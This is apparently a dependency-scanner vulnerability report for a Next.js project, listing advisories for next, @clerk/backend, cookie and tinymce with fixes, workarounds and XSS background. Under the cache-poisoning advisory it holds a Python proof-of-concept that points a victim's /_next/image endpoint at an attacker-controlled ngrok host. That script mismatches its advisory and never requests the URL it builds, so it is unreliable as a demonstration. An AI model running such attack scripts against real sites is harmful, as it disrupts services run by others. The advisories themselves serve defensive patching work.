Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: next
- Introduced through: next@14.1.1
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › next@14.1.1Remediation: Upgrade to next@14.2.25.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Improper Authorization due to the improper handling of the x-middleware-subrequest
header. An attacker can bypass authorization checks by sending crafted requests containing this specific header.
Workaround
This can be mitigated by preventing external user requests which contain the x-middleware-subrequest
header from reaching your Next.js
application.
Remediation
Upgrade next
to version 12.3.5, 13.5.9, 14.2.25, 15.2.3, 15.3.0-canary.12 or higher.
References
high severity
- Vulnerable module: @clerk/backend
- Introduced through: @clerk/nextjs@4.31.8
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › @clerk/nextjs@4.31.8 › @clerk/backend@0.38.15Remediation: Upgrade to @clerk/nextjs@6.21.0.
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › @clerk/nextjs@4.31.8 › @clerk/clerk-sdk-node@4.13.23 › @clerk/backend@0.38.15
Overview
@clerk/backend is a Clerk Backend SDK - REST Client for Backend API & JWT verification utilities
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via the verifyWebhook()
function. An attacker can cause unauthorized actions to be accepted by submitting improperly signed webhook events.
Workaround
This vulnerability can be mitigated by manually verifying webhooks as described in the official documentation.
Remediation
Upgrade @clerk/backend
to version 2.4.0 or higher.
References
high severity
- Vulnerable module: next
- Introduced through: next@14.1.1
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › next@14.1.1Remediation: Upgrade to next@14.2.10.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Acceptance of Extraneous Untrusted Data With Trusted Data by sending a crafted HTTP request, which allows the attacker to poison the cache of a non-dynamic server-side rendered route in the page router. This will coerce the request to cache a route that is meant to not be cached and send a Cache-Control: s-maxage=1, a stale-while-revalidate
header, which some upstream CDNs may cache as well.
Note:
This is only vulnerable if:
The user is using pages router
The user is using non-dynamic server-side rendered routes.
Users are not affected if:
They are using the app router
The deployments are on Vercel
PoC
import shutil
import os
import requests
from urllib.parse import quote
import time #Import the time module
source_image = "chillguy.jpg" #Image file
attacker_url_base = "your_ngrok_url" #your ngrok url
upload_endpoint = "https://victim_url.com" #victim url
def copy_and_upload_image(file_name, num_copies):
if not os.path.exists(source_image):
print(f"File {source_image} not found")
return
for i in range(1, num_copies + 1):
new_image_name = f"chillguy{i}.jpg"#change the name of image file too if you change at line 7 before
# image file increment
shutil.copy(source_image, new_image_name)
print(f"Copy of: {new_image_name}")
# URL combination
image_url = f"{upload_endpoint}/_next/image?url={attacker_url_base}/{new_image_name}&w=256&q=100"
# Deactive SSL verification
try:
response = requests.get(upload_endpoint, verify=False)
if response.status_code == 200:
print(f"Image {new_image_name} uploaded to {upload_endpoint}, url: {image_url}")
else:
print(f"Failed to upload {new_image_name}. Status: {response.status_code}, Response: {response.text}")
except Exception as e:
print(f"Error {new_image_name}: {e}")
# 1 minute delay
print(f"Wait a minute... {new_image_name}...")
time.sleep(60)
# delete copy of image file on your local system
os.remove(new_image_name)
print(f"Delete: {new_image_name}")
#input
try:
num_copies = int(input("Enter how many copies of your image: "))
copy_and_upload_image("chillguy.jpg", num_copies)#change the name of image file too if you change at line 7 before
except ValueError:
print("Please input number only.")
Remediation
Upgrade next
to version 13.5.7, 14.2.10 or higher.
References
high severity
new
- Vulnerable module: next
- Introduced through: next@14.1.1
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › next@14.1.1Remediation: Upgrade to next@14.2.32.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the resolve-routes
. An attacker can access internal resources and potentially exfiltrate sensitive information by crafting requests containing user-controlled headers (e.g.,
Location) that are forwarded or interpreted without validation.
Note: This is only exploitable if custom middleware logic is implemented in a self-hosted deployment.
Remediation
Upgrade next
to version 14.2.32, 15.4.2-canary.43, 15.4.7 or higher.
References
high severity
- Vulnerable module: next
- Introduced through: next@14.1.1
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › next@14.1.1Remediation: Upgrade to next@14.2.15.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Missing Authorization when using pathname-based checks in middleware for authorization decisions. If i18n configuration is not configured, an attacker can get unintended access to pages one level under the application's root directory.
e.g. https://example.com/foo
is accessible. https://example.com/
and https://example.com/foo/bar
are not.
Note:
Only self-hosted applications are vulnerable. The vulnerability has been fixed by Vercel on the server side.
Remediation
Upgrade next
to version 13.5.8, 14.2.15, 15.0.0-canary.177 or higher.
References
high severity
- Vulnerable module: next
- Introduced through: next@14.1.1
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › next@14.1.1Remediation: Upgrade to next@14.2.7.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Uncontrolled Recursion through the image optimization feature. An attacker can cause excessive CPU consumption by exploiting this vulnerability.
Workaround
Ensure that the next.config.js
file has either images.unoptimized
, images.loader
or images.loaderFile
assigned.
Remediation
Upgrade next
to version 14.2.7, 15.0.0-canary.109 or higher.
References
medium severity
- Vulnerable module: next
- Introduced through: next@14.1.1
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › next@14.1.1Remediation: Upgrade to next@14.2.21.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the Server Actions process. An attacker can cause the server to hang by constructing requests that leave Server-Actions requests pending until the hosting provider terminates the function execution.
Note:
This is only exploitable if there are no protections against long-running Server Action invocations.
Remediation
Upgrade next
to version 13.5.8, 14.2.21, 15.1.2 or higher.
References
medium severity
- Vulnerable module: cookie
- Introduced through: @clerk/nextjs@4.31.8
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › @clerk/nextjs@4.31.8 › @clerk/backend@0.38.15 › cookie@0.5.0Remediation: Upgrade to @clerk/nextjs@5.7.2.
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › @clerk/nextjs@4.31.8 › @clerk/clerk-sdk-node@4.13.23 › @clerk/backend@0.38.15 › cookie@0.5.0Remediation: Upgrade to @clerk/nextjs@5.0.0.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name
, path
, or domain
, which can be used to set unexpected values to other cookie fields.
Workaround
Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade cookie
to version 0.7.0 or higher.
References
medium severity
- Vulnerable module: next
- Introduced through: next@14.1.1
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › next@14.1.1Remediation: Upgrade to next@14.2.24.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Race Condition in the Pages Router
. An attacker can cause the server to serve incorrect pageProps
data instead of the expected HTML content by exploiting a race condition between two requests, one containing the ?__nextDataRequest=1
query parameter and another with the x-now-route-matches
header.
Notes:
This is only exploitable if the CDN provider caches a
200 OK
response even in the absence of explicitcache-control
headers, enabling a poisoned response to persist and be served to subsequent users;No backend access or privileged escalation is possible through this vulnerability;
Applications hosted on Vercel's platform are not affected by this issue, as the platform does not cache responses based solely on
200 OK
status without explicitcache-control
headers.This is a bypass of the fix for CVE-2024-46982
Workaround
This can be mitigated by stripping the x-now-route-matches
header from all incoming requests at your CDN and setting cache-control: no-store
for all responses under risk.
Remediation
Upgrade next
to version 14.2.24, 15.1.6 or higher.
References
medium severity
new
- Vulnerable module: next
- Introduced through: next@14.1.1
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › next@14.1.1Remediation: Upgrade to next@14.2.31.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the image optimization process, when responses from API routes vary based on request headers such as Cookie
or Authorization
. An attacker can gain unauthorized access to sensitive image data by exploiting cache key confusion, causing responses intended for authenticated users to be served to unauthorized users.
Note: Exploitation requires a prior authorized request to populate the cache.
Remediation
Upgrade next
to version 14.2.31, 15.4.2-canary.19, 15.4.5 or higher.
References
medium severity
- Vulnerable module: tinymce
- Introduced through: @tinymce/tinymce-react@4.3.2
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › @tinymce/tinymce-react@4.3.2 › tinymce@6.8.6Remediation: Upgrade to @tinymce/tinymce-react@5.0.0.
Overview
tinymce is a web-based JavaScript HTML WYSIWYG editor control.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via iframe
elements inserted into the editor. Attacks are limited by same-origin browser protections, but downloading files is still possible.
Workaround
This vulnerability can be avoided by applying stricter content security policies with frame-src
or object-src
configuration.
In version 6.8.0 and above sandbox_iframes
can be set to true
to directly solve this issue.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade tinymce
to version 7.0.0 or higher.
References
medium severity
- Vulnerable module: tinymce
- Introduced through: @tinymce/tinymce-react@4.3.2
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › @tinymce/tinymce-react@4.3.2 › tinymce@6.8.6Remediation: Upgrade to @tinymce/tinymce-react@5.0.0.
Overview
tinymce is a web-based JavaScript HTML WYSIWYG editor control.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) when loading SVG files via object
or embed
elements.
Workaround
This vulnerability can be avoided by simulating the functionality of the convert_unsafe_embeds
option that was added to address it, by applying a custom NodeFilter
with the editor.parser.addNodeFilter
or editor.serializer.addNodeFilter
API.
In version 6.8.0 and above convert_unsafe_embeds
can be set to true
to directly solve this issue.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade tinymce
to version 7.0.0 or higher.
References
low severity
- Vulnerable module: next
- Introduced through: next@14.1.1
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › next@14.1.1Remediation: Upgrade to next@14.2.30.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Missing Origin Validation in WebSockets when running next dev and the project uses the App Router. An attacker can access the source code of client components by exploiting the Cross-site WebSocket hijacking (CSWSH) attack when a user visits a malicious link while having the server running locally.
Workarounds
Avoid browsing untrusted websites while running the local development server.
Implement local firewall or proxy rules to block unauthorized WebSocket access to localhost.
Remediation
Upgrade next
to version 14.2.30, 15.2.2 or higher.
References
low severity
new
- Vulnerable module: next
- Introduced through: next@14.1.1
Detailed paths
-
Introduced through: nextjs14-devoverflow@ladunjexa/nextjs14-devoverflow#00823bb5cb120854811abb7fd4696c583136505a › next@14.1.1Remediation: Upgrade to next@14.2.31.
Overview
next is a react framework.
Affected versions of this package are vulnerable to Missing Source Correlation of Multiple Independent Data in image-optimizer
. An attacker can cause arbitrary files to be downloaded with attacker-controlled content and filenames by supplying malicious external image sources.
Note: This is only exploitable if the application is configured to allow external image sources via the images.domains
or images.remotePatterns
configuration.
Remediation
Upgrade next
to version 14.2.31, 15.4.2-canary.19, 15.4.5 or higher.